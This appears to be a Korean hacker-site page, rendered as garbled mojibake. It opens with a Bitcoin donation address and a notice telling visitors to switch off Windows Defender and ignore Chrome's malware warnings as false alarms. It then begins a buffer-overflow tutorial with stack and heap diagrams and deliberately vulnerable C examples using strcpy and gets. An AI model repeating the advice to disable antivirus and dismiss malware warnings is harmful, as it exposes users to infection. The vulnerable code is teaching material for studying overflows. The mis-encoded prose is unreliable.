ÇØÄ¿Áî´º½º / ÇØÄ¿´ëÇÐ

Donation bitcoin(±âºÎ¿ë ºñÆ®ÄÚÀÎ ÁÖ¼Ò)

¡¡
1Pq3K39XM5xx4CifGKgppXeavtWNNHH7K4
¡¡
±âºÎÇϽŠºñÆ®ÄÚÀÎÀº "º¸¾È Ãë¾à °èÃþ"À» À§ÇØ »ç¿ëµÇ°í ÀÖ½À´Ï´Ù.
¡¡
¡¡

Donation bitcoin(±âºÎ¿ë ºñÆ®ÄÚÀÎ ÁÖ¼Ò)

¡¡
1Pq3K39XM5xx4CifGKgppXeavtWNNHH7K4
¡¡
±âºÎÇϽŠºñÆ®ÄÚÀÎÀº "º¸¾È Ãë¾à °èÃþ"À» À§ÇØ »ç¿ëµÇ°í ÀÖ½À´Ï´Ù.
¡¡

°øÁö

¡¡

1. MS ¿§Áö ºê¶ó¿ìÀú¿¡¼­ÀÇ °æ°íâÀº 'À©µµ¿ì µðÆæ´õ'¸¦ ²ô½Ã¸é µË´Ï´Ù.

             'À©µµ¿ì µðÆæ´õ ²ô±â'

2. Å©·Ò ºê¶ó¿ìÀú·Î Á¢¼Ó½Ã ³ª¿À´Â ¾Ç¼ºÄÚµå °æ°íâÀº ±¸±Û Å©·ÒÀÇ ¿¡·¯, Áï ¿ÀŽ(ŽÁö ¿À·ù)À̹ǷΠ¹«½ÃÇÏ½Ã¸é µË´Ï´Ù.

3. ÀÌ »çÀÌÆ®´Â ¾ÈÀüÇÏ¸ç ±ú²ýÇÏ´Ù´Â °ÍÀ» ¾Ë·Á µå¸³´Ï´Ù.

4. ¹«°íÇÑ »çÀÌÆ®µé¿¡ ´ëÇÑ °ø·æ ±â¾÷ ºê¶ó¿ìÀúµéÀÇ ¹«Â÷º°ÀûÀÎ 'ŽÁö ¿À·ù ȾÆ÷'°¡ »ç¿ëÀÚµéÀÇ Á¤º¸ °øÀ¯ÀÇ ÀÚÀ¯¸¦ ħÇØÇÏ°í ÀÖ½À´Ï´Ù. ÀÌ¿¡ ´ëÀÀÇÏ¿© ÀÌ ±â¾÷µéÀ» »ó´ë·Î ¼Ò¼ÛÀ» ÁغñÇÏ°í ÀÖ½À´Ï´Ù.

¡¡

Ãâó: ¹Ì»ó
À帣: ¹öÆÛ¿À¹öÇ÷οì
Àß ¸¸µé¾îÁø ¹öÆÛ¿À¹öÇÃ·Î¿ì ¹®¼­  
1. ¿À¹öÇ÷οì¶õ?
2. ÀÌ°ÍÀ» ¾Ë¾Æ¾ß....±âÃÊÁ¤º¸
3. À̰͵µ ¾Ë¾Æ¾ß....Áß±ÞÁ¤º¸
4. À̰ͱîÁö?........°í±ÞÁ¤º¸
5. ¿¹¸¦µé¸é?........½ÇÀü¿¬½À
6. ¾ð´õÇ÷οì?......Æ÷¸ä½ºÆ®¸µ
7. °¨»çÀÇ ¸»
8. Âü°íÀÚ·á


--------------------------------------------------------------------------------

1. ¿À¹öÇ÷οì¶õ?
ÀÚ ¸ÕÀú ¿À¹öÇ÷ο찡 ¹ºÁö ºÎÅÍ ¾Ë¾Æº¸°í ³Ñ¾î°¡µµ·Ï ÇÏ°Ú½À´Ï´Ù. ¿À¹öÇ÷οì¶õ ¹º°¡¸¦ ´ã´Â ±×¸©ÀÌ ÀÖÀ»¶§ ±× ±×¸©ÀÇ ¿ë·®À» ÃÊ°úÇؼ­ ¹«¾ùÀ» ´ãÀ»·Á°í Çϸé Èê·¯³ÑÄ¡´Â Çö»óÀÌ ¹ß»ýÇÕ´Ï´Ù. ¿©·¯ºÐÀÌ ½ÄŹÀ§¿¡ ÄÅÀ» ³õ°í °Å±â¿¡ ¹°À» ³Ö´Â´Ù¸é ¹°ÀÌ ¾ó¸¶³ª µé¾î°¡´ÂÁö ´«À¸·Î º¸¸é¼­ ¹°À» µû¸¨´Ï´Ù. ±×·±µ¥, ÄÅ¿¡ ³ÖÀ»¼ö ÀÖ´Â ¾çº¸´Ù ¸¹Àº ¹°À» ºÎÀ¸¸é ¾î¶»°Ô µË´Ï±î? (´ç¿¬È÷ ¾ö´Ï³ª ¸¶´©¶óÇÑÅ× Áà ÅÍÁö°ÚÁÒ....) Èê·¯³ÑÄ£ ¹°ÀÌ ½ÄŹÀ» Àû½Ã°í, ÀÇÀÚµµ Àû½Ã°í, ¹Ù´Ú¿¡µµ ¶³¾îÁö°í ¾û¸ÁÀÌ µÇ°ÚÁÒ? ÀÌ·± Çö»óÀº ÄÄÇ»Åͳ»ºÎÀÇ ¼¼°è¿¡¼­µµ ¹ß»ýÇÕ´Ï´Ù. ÇÁ·Î±×·¥À» ÀÛ¼ºÇÏ´Â »ç¶÷ÀÌ ÇÁ·Î±×·¥¿¡ ÀÔ·ÂÇÏ´Â ÀÚ·áÀÇ ¾çÀ» ÅëÁ¦ÇÏÁö ¾ÊÀ¸¸é ÇÁ·Î±×·¥³»¿¡ ÀÚ·á°¡ Èê·¯³ÑÄ¡´Â »óȲÀÌ ¹ß»ýÇÏ°í, ÀÌ°ÍÀº ÇÁ·Î±×·¥ÀÌ ÀÌ»óÇÑ µ¿ÀÛÀ» ÇϰԵǴ ¿øÀÎÀÌ µË´Ï´Ù. ÇØÄ¿µéÀº ÀÌ·¯ÇÑ ÀÚ·áÀÇ ³ÑħÀ» °øºÎÇÏ°í ºÐ¼®ÇÏ¿© ÀϺη¯ ÇÁ·Î±×·¥ÀÌ ¿øÇÏ´Â ¾çº¸´Ù ¸¹Àº¾çÀÇ ÀڷḦ ³Ö°í, ÇÁ·Î±×·¥À» ÀÚ½ÅÀÌ ¿øÇÏ´Â »óÅ·Π½ÇÇàÇϵµ·Ï ÇÒ ¼öÀÖ½À´Ï´Ù.

Äŵµ Á¾ÀÌ, À¯¸®, Çöó½ºÆ½ µîµîµî ¿©·¯°¡Áö°¡ ÀÖÁÒ? ÄÄÇ»ÅÍ ÇÁ·Î±×·¥¿¡¼­ ÀڷḦ ÀúÀåÇϴ â°íµµ ¿©·¯°¡Áö°¡ ÀÖ½À´Ï´Ù. ½ºÅÃ(stack)°ú Èü(heap)ÀÌ ÇÁ·Î±×·¥¿¡¼­ ÀڷḦ ÀúÀåÇÏ´Â ÄÅÀÔ´Ï´Ù. µû¶ó¼­ ½ºÅÃÀ» ³ÑÄ¡°Ô Çϴ°ÍÀ» ½ºÅÿÀ¹öÇ÷οì(Stack OverFlow)¶ó°í ÇÏ°í ÈüÀ» ³ÑÄ¡°Ô Çϴ°ÍÀ» Èü¿À¹öÇ÷οì(Heap OverFlow)¶ó°í ÇÕ´Ï´Ù. ½ºÅðú Èü¿¡ ´ëÇؼ­´Â ´ÙÀ½Àå¿¡¼­ ¹è¿ì°Ô µÇ´Ï±î, ÀÌ·±°ÍÀÌ ÀÖ´Ù..¶ó°í »ý°¢ÇÏ°í ³Ñ¾î°¡±¸¿ä...¶Ç ÇÑ°¡Áö »ý°¢ÇغÁ¾ß µÇ´Â°ÍÀÌ ÀÖ½À´Ï´Ù. ¹ä¸Ô´Ù ¸ðÁú¶ó¼­ ¹ä±×¸©À» ¹Ú¹Ú±Ü¾î¼­ ¸Ô´Â°ÍÀ» »ý°¢ÇØ º¾½Ã´Ù. ¸¸¾à ¹Ú¹Ú ±Ü´Â°ÍÀ» °è¼ÓÇÏ¸é ¾î¶»°Ô µÉ±î¿ä? (±¸¸ÛÀÌ ³ªµçÁö ±úÁöµçÁö...¶Ç ÅÍÁö°ÚÁö...T.T) ÇÁ·Î±×·¥ÇÑÅ×µµ, °¡Áö°í ÀÖÁöµµ ¾ÊÀº Á¤º¸¸¦ ³»³õÀ¸¶ó°í ¹Ú¹Ú ±ÜÀ¸¸é ±¸¸ÛÀÌ ³³´Ï´Ù. ÀÌ°ÍÀÌ Æ÷¸Ë½ºÆ®¸µ ¹ö±×ÀÔ´Ï´Ù. ´ÙÀ½Àå¿¡¼­ ¿Ö ÀÌ·¯ÇÑ ¿À¹öÇ÷οì¿Í Æ÷¸Ë½ºÆ®¸µ ¹ö±×°¡ »ý±â°Ô µÇ´ÂÁö ¾Ë¾Æº¸µµ·Ï ÇÏ°Ú½À´Ï´Ù.(ÇÁ·¹ÀÓÆ÷ÀÎÅÍ ¿À¹öÇÃ·Î¿ì ¶ó´Â°Íµµ Àִµ¥, ÀÌ°ÍÀº »ç¿ëÇÏ°ÔµÉ °æ¿ì°¡ ¸Å¿ì ÀûÀ»°Í °°³×¿ä..)



--------------------------------------------------------------------------------

2. ÀÌ°ÍÀ» ¾Ë¾Æ¾ß...±âÃÊÁ¤º¸
ÀÌÁ¦ ¿©·¯ºÐÀº ½ºÅÿÀ¹öÇ÷οì¿Í Èü¿À¹öÇ÷ο찡 ¸» ±×´ë·Î ¾î¶²°ÍÀ» ³ÑÄ¡°Ô ÇÑ´Ù¶ó´Â °ÍÀ» ÀÌÇظ¦ ÇϽø®¶ó »ý°¢ÇÕ´Ï´Ù. ±×·³ ÇÁ·Î±×·¥ ¼¼°è·Î µé¾î°¡¼­ ¿À¹öÇ÷ο찡 ÀϾ´Â °úÁ¤¿¡ ´ëÇؼ­ ¾Ë¾Æº¸±â Àü¿¡ ±âÃÊÀûÀ¸·Î ¾Ë¾Æ¾ß µÇ´Â »çÇ׿¡ ´ëÇؼ­ ¸ÕÀú °øºÎÇϵµ·Ï ÇÏ°Ú½À´Ï´Ù. À̺κп¡ ´ëÇؼ­ ¼ÒȦÈ÷ ÇÏ°í ³ªÁß¿¡ ³ª¿À´Â ¼Ò½ºÄڵ常À» ÀÌ¿ëÇÑ´Ù¸é, ½ºÅ©¸³Æ®Å°µðÀÇ ºÒ¸í¿¹¸¦ ¹þÀ»¼ö°¡ ¾ø½À´Ï´Ù. Àо½Ã°í ÀÌÇØ°¡ ¾ÊµÇ½Ã¸é ¸î¹øÀÌ°í ´Ù½Ã Àо ÀÌÇØÇÏ°í ³Ñ¾î °¡µµ·Ï ÇÏ°í ±×·¡µµ ¾ÊµÇ¸é ½ÃÁß¿¡ ³ª¿ÍÀִ åÀ» Âü°íÇϽôøÁö °¡±îÀÌ¿¡ ÀÖ´Â ºÐµé¿¡°Ô µµ¿òÀ» ûÇϽñ⠹ٶø´Ï´Ù.

2.1 ½ÇÇà»óÅ¿¡ ÀÖ´Â ÇÁ·Î±×·¥ÀÇ ±âº»±¸Á¶
                          +-------------+ ³·Àº ¸Þ¸ð¸® ÁÖ¼Ò
                          |             |
                          |   TEXT      |
                          |             |
                          +-------------+
                          |(ÃʱâÈ­ µÊ)  |
                          |   Data      |
                          |             |
                          |             |
                          |(ÃʱâÈ­ ¾ÊµÊ)|
                          +-------------+
                          |   Heap      |
                          |     |       |
                          |     |       |
                          |     V       |
                          |             |
                          |     A       |
                          |     |       |
                          |     |       |
                          |   Stack     |
                          |             |
                          |             |
                          |(ȯ°æº¯¼öµé) |
                          +-------------+ ³ôÀº ¸Þ¸ð¸® ÁÖ¼Ò

                   <±×¸²1>  ÇÁ·Î¼¼¼­ÀÇ ¸Þ¸ð¸® ±¸Á¶

À§ÀÇ ±×¸²Àº ÄÄÆÄÀÏµÇ¾î ½ÇÇà»óÅ¿¡ ÀÖ´Â ÇÁ·Î±×·¥ÀÇ ¸Þ¸ð¸®¸¦ ¿ä¾àÇÏ¿© ³ªÅ¸³½ °ÍÀÔ´Ï´Ù. TEXT¸¦ ÇÁ·Î±×·¥ÀÇ ½ÇÇàÄڵ带 ³ªÅ¸³»°í DATA´Â ÇÁ·Î±×·¥ ÄÄÆÄÀϽÿ¡ ÇÒ´çµÈ µ¥ÀÌÅÍ¿ë ¸Þ¸ð¸® ¿µ¿ªÀÔ´Ï´Ù. ´ÙÀ½¿¡ ³ªÅ¸³ª´Â°ÍÀÌ ÇÊ¿ä¿¡ µû¶ó¼­ Å©±â°¡ ÁÙ¾ú´Ù ´Ã¾ú´Ù Çϸ鼭 °¡º¯ÀûÀ¸·Î ÇÒ´çÇؼ­ »ç¿ëÇÏ´Â ¸Þ¸ð¸® ¿µ¿ªÀÔ´Ï´Ù. TEXT¿µ¿ªÀº ½ÇÇàÄڵ尡 µé¾î ÀÖÀ¸¸é¼­ Àб⸸ °¡´ÉÇÑ ¿µ¿ªÀÔ´Ï´Ù. µû¶ó¼­ ÀÌ Áö¿ª¿¡ ¹º°¡¸¦ ¾µ·Á°í Çϸé, ¿î¿µÃ¼Á¦°¡ ¿åÀ» ÇÕ´Ï´Ù.(¿µ¿ªÄ§ÀÔ¿¡·¯ ¶ó±¸ Çϱ¸¿ä Unix¿¡¼­´Â Segmantation violationÀ̶ó´Â ¿åÀÌ ³ª¿À±¸¿ä, W1nd0ws¿¡¼­´Â ¾ó¸¶³ª Áà ÅÍÁ³´ÂÁö´Â ¸ô¶óµµ ½ÃÆÛ·± È­¸é¿¡ °¡µæ ¿åÀ» ½á¼­ ³»º¸³À´Ï´Ù.) ´ÙÀ½Àº ÀÚ·áÀÇ ÀúÀå°ú °è»êµîÀ» À§Çؼ­ »ç¿ëÇÏ´Â ¸Þ¸ð¸® ¿µ¿ªÀÌ°í µû¶ó¼­ Àбâ¿Í ¾²±â°¡ °¡´ÉÇÑ°÷µéÀÔ´Ï´Ù. CÇÁ·Î±×·¥À» ±âÁØÀ¸·Î ¿¹¸¦ µé¸é( »ç½ÇÀº C¹Û¿¡ ¸ô¶ó¿ä...T.T) ½ºÅÃÀº ´ÙÀ½°ú °°Àº °æ¿ìÀÔ´Ï´Ù.

char buffer[256];
int  i;
long l;

ÈüÀº ÇÁ·Î±×·¥¿¡¼­ µ¿ÀûÀ¸·Î ¸Þ¸ð¸®¸¦ ÇÒ´çÇÏ¿© »ç¿ëÇϴ°ÍÀ¸·Î ´ÙÀ½°ú °°½À´Ï´Ù.

char buffer = (char *)malloc(BUFSIZE);

¶Ç ´Ù¸¥Á¾·ù·Î BSS°¡ Àִµ¥ ÀÌ°ÍÀº ´ÙÀ½°ú °°ÀÌ ¾¹´Ï´Ù.

static char buffer[5];
static int  i;

À̾߱Ⱑ ¾î·Á¿öÁö±â ½ÃÀÛÇß³ª¿ä?....±×·±°Í °°¾Æ¿ä ¾µ¸»µµ ¾ø¾î¿ä...(ÆÛ¹ö¹÷~~¤Ð.¤Ð) ÀÌÁ¦ ÇÁ·Î¼¼¼­(½ÇÇàÁßÀÎ ÇÁ·Î±×·¥)ÀÇ ±âº»±¸Á¶¸¦ ¾Ë¾ÒÀ¸´Ï, ±×Áß¿¡ ¿ì¸®°¡ °ü½ÉÀÌ ÀÖ´Â ½ºÅÿ¡ ´ëÇؼ­ ¾Ë¾Æº¼±î¿ä?

2.2 ½ºÅÃÀº ¾î¶»°Ô µ¿ÀÛÇϳª? ¾î¶² ¸ð¾çÀÌÁö?
½ºÅÃÀº ¸»·Î ¼³¸íÇϱ⿣ Á» ±×·±°Å °°±¸, ¶Ç ¾Æ½ºÅ° ±×¸²À» Çϳª ±×·Áº¸ÁÒ..^^
       
                  --------------+   ´­·¯³Ö´Â ºÎºÐ
                                |        
                         |      |            |
                         |      |            |
                         |      V            |
                         +-------------------+
                         | ¸¶Áö¸·¿¡ ³ÖÀº°Í   |
                         +-------------------+
                         |      ...          |
                         |      ...          |
                         |      ...          |
                         +-------------------+
                         | ¼¼¹ø° ³ÖÀº°Í     |
                         +-------------------+
                         | µÎ¹ø° ³ÖÀº°Í     |
                         +-------------------+
                         | óÀ½ ³ÖÀº°Í       |
                         +-------------------+
                         |   Z   Z    Z   Z  |
                         |   Z   ½ºÇÁ¸µ   Z  |
                         |   Z   Z    Z   Z  |
                         +-------------------+

                          <±×¸²2> ½ºÅÃÀÇ ¸ð¾ç

À§ÀÇ ±×¸²ÀÌ ½ºÅÃÀÇ ¸ð¾çÀÔ´Ï´Ù.(ÀÚ¾Æ¾Ë ±×·È´Ù!) À§ÀÇ ±×¸²¿¡¼­ º¸¸é ¾Ë°ÚÁö¸¸, ½ºÅÃÀº ¸ÕÀú³ÖÀº°ÍÀÌ °¡Àå ¾Æ·¡·Î ³»·Á°¡°í, ³ªÁß ³ÖÀº°ÍÀÌ °¡Àå À§¿¡ ÀÖ°Ô µË´Ï´Ù. µû¶ó¼­ ²¨³¾¶§¿¡ °¡Àå ³ªÁß¿¡ ³ÖÀº°ÍÀÌ °¡Àå ¸ÕÀú ³ª¿À°Ô µË´Ï´Ù. Last In First OutÀÌ¶ó±¸ Çؼ­ LIFO¶ó±¸ ÇÑ´ä´Ï´Ù. ÇÁ·Î±×·¥ÀÌ Àμö¸¦ °¡Áö°í ¾î¶² ÇÔ¼ö¸¦ ºÎ¸¦¶§¿¡ À§ÀÇ ½ºÅÿ¡ Àμö¸¦ ³Ö¾î³õ°í ÇÔ¼ö ÇÑÅ×, ¾ß~~ ÀÌ°Å °¡Á®°¡~~ ÇÏ°í À̾߱â Çϸé ÇÔ¼ö¿¡¼­ Àμö¸¦ ²¨³»¼­ ¾²°Ô µÇ´Â°ÅÁÒ(»ç½ÇÀº ²¨³»Áö´Â ¾Ê°í ÂüÁ¶¸¸ ÇÑ´ä´Ï´Ù.) ´ÙÀ½Àå¿¡¼­ ÇÁ·Î±×·¥ÀÇ ¿¹¿Í °°ÀÌ ½ºÅÃÀÌ µ¿ÀÛÇÏ´Â °Í¿¡ ´ëÇؼ­ ´Ù½Ã Çѹø ¾Ë¾Æ º¾½Ã´Ù.
2.3 ÀÚ¼¼ÇÏ°Ô(?) ¾Ë¾Æº» ½ºÅÃÀÇ ±¸Á¶
´ÙÀ½Àº ÀϹÝÀûÀÎ ÇÁ·Î±×·¥ÀÇ °¡»óÄÚµåÀÔ´Ï´Ù.
½ÇÇà¼ø¼­     ½ÇÇà³»¿ë

   1        func(char *str) {
   2            char buf[10];
   3            print("%s\n", str);
   4        }
   5
   6        main() {
   7            char *str1="¹æ¼ÛÁß!";
   8            char *str2="¾Æ~¾Æ~¾Æ~";
   9            func(str1, str2);
  10            printf("Àß µÈ´Ù..^^\n");
  11            exit();
  12        }

À§ÀÇ ÇÁ·Î±×·¥Àº main()ÀÌ ÀÖ´Â 6¹ø ºÎÅÍ ½ÇÇàÇÏ°Ô µË´Ï´Ù. str1À̶ó°í ÇÏ´Â º¯¼ö¿¡ "¹æ¼ÛÁß!"À̶ó´Â °ªÀ» ³Ö°í ÇÔ¼ö func¸¦ ºÎ¸£°Ô µÇ¾îÀִµ¥ ÇÔ¼ö func¿¡¼­ ½ºÅÃÀÇ ¸ð¾çÀ» »ìÆ캸¸é ´ÙÀ½°ú °°½À´Ï´Ù.


    ¸Þ¸ð¸®ÀÇ ³·Àº°÷  |          |
                     +----------+  <-- ½ºÅÃÀÇ ²À´ë±â
                     | [ buf  ] |  <-- func³»ºÎÀÇ º¯¼ö
                     +----------+  <-- ÂüÁ¶ÀÇ ±âÁØÀ§Ä¡
                     | [ 10¹ø ] |  <-- func°¡ Á¾·áµÈÈÄ ½ÇÇàÇØ¾ß ÇÏ´Â À§Ä¡
                     +----------+
                     | [ str1 ] |
                     +----------+
                     | [ str2 ] |
    ¸Þ¸ð¸®ÀÇ ³ôÀº°÷  +----------+  <-- ½ºÅÃÀÇ ¹Ù´Ú

          <±×¸²3> ÇÔ¼öfunc¿¡¼­ ½ºÅÃÀÇ ±¸Á¶


ÀÌ ³»¿ëÀº ¸ÕÀú ÇÔ¼ö func¸¦ ºÎ¸¦¶§¿¡ µÎ¹ø° ÀμöÀÎ str2¸¦ ¸ÕÀú ½ºÅÿ¡ ³Ö°í ±× À§¿¡ ù¹ø° ÀμöÀÎ str1À» ¿Ã·Á³õÀº ´ÙÀ½ ÇÔ¼ö func°¡ Á¾·áµÇ°í ³ª¼­ ±×´ÙÀ½¿¡ ½ÇÇàÇÒ À§Ä¡ÀÎ 10¹øÀÇ À§Ä¡¸¦ ½ºÅÿ¡ ³Ö°Ô µË´Ï´Ù. ±×¸®°í ÇÔ¼ö func¿¡¼­ »ç¿ëÇÒ ³»ºÎº¯¼öÀÎ buf¸¦ À§ÇØ ÇÊ¿äÇÑ ¿µ¿ªÀ» ¹Ð¾î³Ö°Ô µË´Ï´Ù. str1À̳ª str2ÀÇ °ªÀ» ¾Ë°í ½ÍÀ¸¸é ÂüÁ¶ÀÇ ±âÁØÀ§Ä¡¿¡¼­ ¾Æ·¡·Î µÎ¹ø°¿Í ¼¼¹ø°°¡ ÀμöÀÎ str1À̳ª str2¶ó´Â°ÍÀ» ¾Ë¼ö ÀÖ½À´Ï´Ù. »ç½ÇÀº ¶ÇÇϳªÀÇ ³»¿ëÀÌ ½ºÅÿ¡ µé¾î°¡´Âµ¥, ÀÌ°ÍÀ» ÀÌ¿ëÇÏ¿© ¿À¹öÇ÷οì½ÃÅ°´Â ¹æ¹ýµµ ÀÖ½À´Ï´Ù. ÀÚ¼¼ÇÑ °ÍÀº ´ÙÀ½Àå¿¡¼­ ¾Ë¾Æº¸µµ·Ï ÇÏ°Ú½À´Ï´Ù. ±×¸®°í À§ÀÇ ¸ð¾çÀ» Àß »ìÆ캸¸é ¿À¹öÇ÷οì¶ó´Â °ÍÀÌ ¾î¶»°Ô ÀÌ·ç¾îÁö´ÂÁö ÁüÀÛÀ» ÇÒ ¼ö ÀÖ½À´Ï´Ù. ¸¸¾à buf¿¡ µé¾î°¡´Â °ªÀÌ ³ÑóÈê·¯¼­ "[ 10¹ø ]"À̶ó´Â ÇÔ¼öfunc°¡ Á¾·áµÈÈÄ ´ÙÀ½¿¡ ½ÇÇàÇØ¾ß ÇÒ À§Ä¡¿¡ ´Ù¸¥°ªÀ» ³ÖÀ¸¸é ¾î¶»°Ô µÉ±î¿ä? ¸¸¾à "[ 11¹ø ]"À̶ó°í ¹Ù²ã³õ°Ô µÈ´Ù¸é? ¿¹...±×·¸½À´Ï´Ù. ÇÔ¼öfunc°¡ Á¾·áµÇ°í ³ª¼­ 10¹øÀÇ printf¹®À» ½ÇÇàÇϴ°ÍÀÌ ¾Æ´Ï°í 11¹øÀÇ exitÇÔ¼ö¸¦ ½ÇÇàÇÏ°Ô µÇ´Â °ÍÀÔ´Ï´Ù. ´ÙÀ½Àå¿¡¼­´Â ¹öÆÛ¿À¹öÇ÷ο캸´Ù ´õ È®½ÇÇÏ°Ô ¿À¹öÇ÷ο츦 ½Ãų¼ö ÀÖ´Â Èü¿À¹öÇ÷ο쿡 ´ëÇؼ­ ¾Ë¾Æº¸µµ·Ï ÇÏ°Ú½À´Ï´Ù.

2.4 Èü(Heap)Àº ¾î¶»°Ô »ç¿ëÇϳª?
À̹ø¿£ Èü¿¡ ´ëÇؼ­ ¾Ë¾Æº¸°Ú½À´Ï´Ù. ÈüÀº ÇÁ·Î±×·¥ÀÌ ½ÇÇàÇϸ鼭 µ¿ÀûÀ¸·Î ÇÒ´çÇؼ­ »ç¿ëÇÏ´Â ¿µ¿ªÀ» ¸»Çϴµ¥, ½ºÅÃÀº ¿î¿µÃ¼Á¦³ª, ÇÁ·Î±×·¥À» ÄÄÆÄÀÏÇÒ¶§¿¡ ÄÄÆÄÀÏ·¯¿¡¼­ º¯¼ö¿Í ÀμöµîÀÇ »ç¿ë¿µ¿ªÀ» µ¿ÀûÀ¸·Î ÇÒ´çÇÏÁö¸¸ ÈüÀº ÇÁ·Î±×·¡¸Ó°¡ malloc°°Àº ¸Þ¸ð¸® ÇÒ´çÇÔ¼ö¸¦ ÀÌ¿ëÇÏ¿© ÇÁ·Î±×·¥¿¡¼­ »ç¿ëÇÒ ¶§¿¡ ÇÒ´çµË´Ï´Ù. ÇÁ·Î±×·¥ÀÇ °£´ÜÇÑ ¿¹¸¦ µé¸é ´ÙÀ½°ú °°½À´Ï´Ù.
   1    int main()
   2    {
   3        char *buf1 = (char *)malloc(10), *buf2 = (char *)malloc(5);
   4        gets(buf1);
   5    }

À§ÀÇ ¼Ò½ºÄÚµå´Â ½ºÅÿÀ¹öÇ÷οìÀÇ ¼Ò½º¿Í ºñ±³ÇÒ¶§¿¡ ¾ÆÁÖ ´Ù¸¥ ÇüÅÂÀÇ ¿À¹öÇ÷ο츦 ÀÏÀ¸Å³¼ö ÀÖ½À´Ï´Ù. getsÇÔ¼ö´Â ÇÁ·Î±×·¥ »ç¿ëÀÚ·Î ºÎÅÍ ÀڷḦ ÀԷ¹ÞÀ»¶§ »ç¿ëÇÏ´Â ÇÔ¼ö ÀÔ´Ï´Ù. À§ÀÇ ÇÁ·Î±×·¥À» ½ÇÇàÇÏ¸é »ç¿ëÀÚ´Â Å°º¸µåµîÀ» ÀÌ¿ëÇÏ¿© ÀڷḦ ÀÔ·ÂÇϴµ¥, getsÇÔ¼ö°¡ ÀԷ¹޴ ÀÚ·áÀÇ Å©±â¸¦ ÀüÇô °Ë»çÇÏÁö ¾Ê±â ¶§¹®¿¡ Èü¿À¹öÇ÷ο찡 ¹ß»ýÇÕ´Ï´Ù. À§ ÇÁ·Î±×·¥ÀÇ ¸Þ¸ð¸® ±¸Á¶´Â ´ÙÀ½°ú °°ÀÌ ³ªÅ¸³¾ ¼ö ÀÖ½À´Ï´Ù.
            buf1    buf2
       [1234567890][12345]
   

À̶§¿¡ ¸¸¾à buf1¿¡ 10°³ÀÌ»óÀÇ ÀڷḦ ÀÔ·ÂÇÏ¸é ¾î¶»°Ô µÉ±î¿ä? Èê·¯³ÑÄ£ ÀÚ·á´Â buf2ÀÇ ¿µ¿ª¿¡ ±â·ÏÀÌ µË´Ï´Ù. buf2°¡ ¾Æ¹«°Íµµ ¾øÀÌ °ø¹éÀÎ »óÅ¿¡¼­ buf1¿¡ 11°³ÀÇ A¸¦ ÀÔ·ÂÇÏ°Ô µÇ¸é ´ÙÀ½°ú °°ÀÌ µË´Ï´Ù.
            buf1    buf2
       [AAAAAAAAAA][A    ]
   

À̶§ ¸¸¾à buf2°¡ ¿ì¸®°¡ ÇÒ´çÇÑ ¸Þ¸ð¸® ¿µ¿ªÀÌ ¾Æ´Ï°í ¾î¶² ÇÔ¼ö¸¦ ½ÇÇà½ÃÅ°´Â Æ÷ÀÎÅÍ¿´´Ù¸é ¾î¶»°Ô µÉ±î¿ä? ¾Æ¸¶µµ ¿øÇÏ´Â ÇÔ¼ö°¡ ½ÇÇàµÇÁö ¾Ê°í ¾û¶×ÇÑ °á°ú¸¦ ³ªÅ¸³»¾úÀ» °ÍÀÔ´Ï´Ù.
À§¿Í °°ÀÌ Èü¿À¹öÇ÷οì´Â ½ºÅðú´Â ´Ù¸£°Ô ÀÎÁ¢ÇÑ ¿µ¿ªÀÇ Ä§¹üÀ¸·Î ÀÎÇÑ °ø°ÝÀÔ´Ï´Ù. Áï Èü¿À¹öÇ÷οì´Â heap¿µ¿ª¿¡ ÀÖ´Â ÇÔ¼öÆ÷ÀÎÅ͵îÀ» °ø°ÝÇÏ¿© ³»°¡ ¿øÇÏ´Â ÇÔ¼ö¸¦ ½ÇÇàÇϵµ·Ï ÇÏ´Â °ÍÀÔ´Ï´Ù.



--------------------------------------------------------------------------------

3. À̰͵µ ¾Ë¾Æ¾ß....Áß±ÞÁ¤º¸
Áö±Ý±îÁö ¿©·¯ºÐÀº ¿À¹öÇ÷ο츦 À§ÇÑ ±âÃÊÁ¤º¸¸¦ °øºÎÇÏ¿´½À´Ï´Ù. ÀÌÁ¦ºÎÅÍ´Â ½ÇÁúÀûÀÎ ¿À¹öÇ÷ο츦 À§ÇÑ ³»¿ëÀ» ¾Ë¾Æº¸µµ·Ï ÇÏ°Ú½À´Ï´Ù. À§¿¡¼­ °øºÎÇÑ ³»¿ëÀº Á¦°¡ ÃÖ´ëÇÑ ½±°Ô ¼³¸íÇÏ¿´´Âµ¥, ÀÌÇØ°¡ ¾ÊµÇ¸é ´Ù½Ã ÀÐ°í³ª¼­ ¾Æ·¡ÀÇ ³»¿ëÀ» °øºÎÇϽñ⠹ٶø´Ï´Ù. ¾Æ·¡ÀÇ ³»¿ëÀº ½ÇÁ¦ Á¦ ÄÄÇ»ÅÍ¿¡¼­ ¿¹Á¦¼Ò½º¸¦ ½ÇÇàÇØ °¡¸é¼­ ³ªÅ¸³ª´Â ³»¿ëÀ» ´ýÇÁ¸¦ ¶°°¡¸é¼­ º¸¿©µå¸®´Â °ÍÀÔ´Ï´Ù. µû¶ó¼­ ¿©·¯ºÐÀÌ ´Ù¸¥ ÄÄÇ»ÅÍ¿¡¼­ ½Ç½ÀÀ» Çغ¸½Ã¸é ¾à°£¾¿ ´Ù¸¥ »óȲÀÌ ³ªÅ¸³ª°Ô µÇ´Ï Âü°íÇϽñ⠹ٶø´Ï´Ù.

3.1 ÇÔ¼ö¸¦ ºÎ¸¦¶§ ½ºÅÿ¡ µé¾î°¡´Â Á¤º¸
        1        void func(char *argv)
        2        {
        3                char        buf[40];
        4                strcpy(buf, argv);
        5        }
        6
        7        int main(int argc, char **argv)
        8        {
        9                func(argv[1]);
       10                printf("Á¤»óÁ¾·á µÇ¾ú½À´Ï´Ù.\n");
       11        }

       <¿¹Á¦1> ¿À¹öÇ÷ο찡 ÀϾ´Â ÇÁ·Î±×·¥


¿¹Á¦1À» ½ÇÇà°¡´ÉÇÑ ÇÁ·Î±×·¥À¸·Î ¸¸µé±â À§Çؼ­ ´ÙÀ½°ú °°ÀÌ ÄÄÆÄÀÏ°úÁ¤À» °ÅÄ¡°í ½ÇÇàÇÕ´Ï´Ù.
river@River:/examples$ cc exam1.c -o exam1
river@River:/examples$ ./exam1 "¾ß~~~~~~"
¾ß~~~~~~
Á¤»óÁ¾·á µÇ¾ú½À´Ï´Ù.
river@River:/examples$

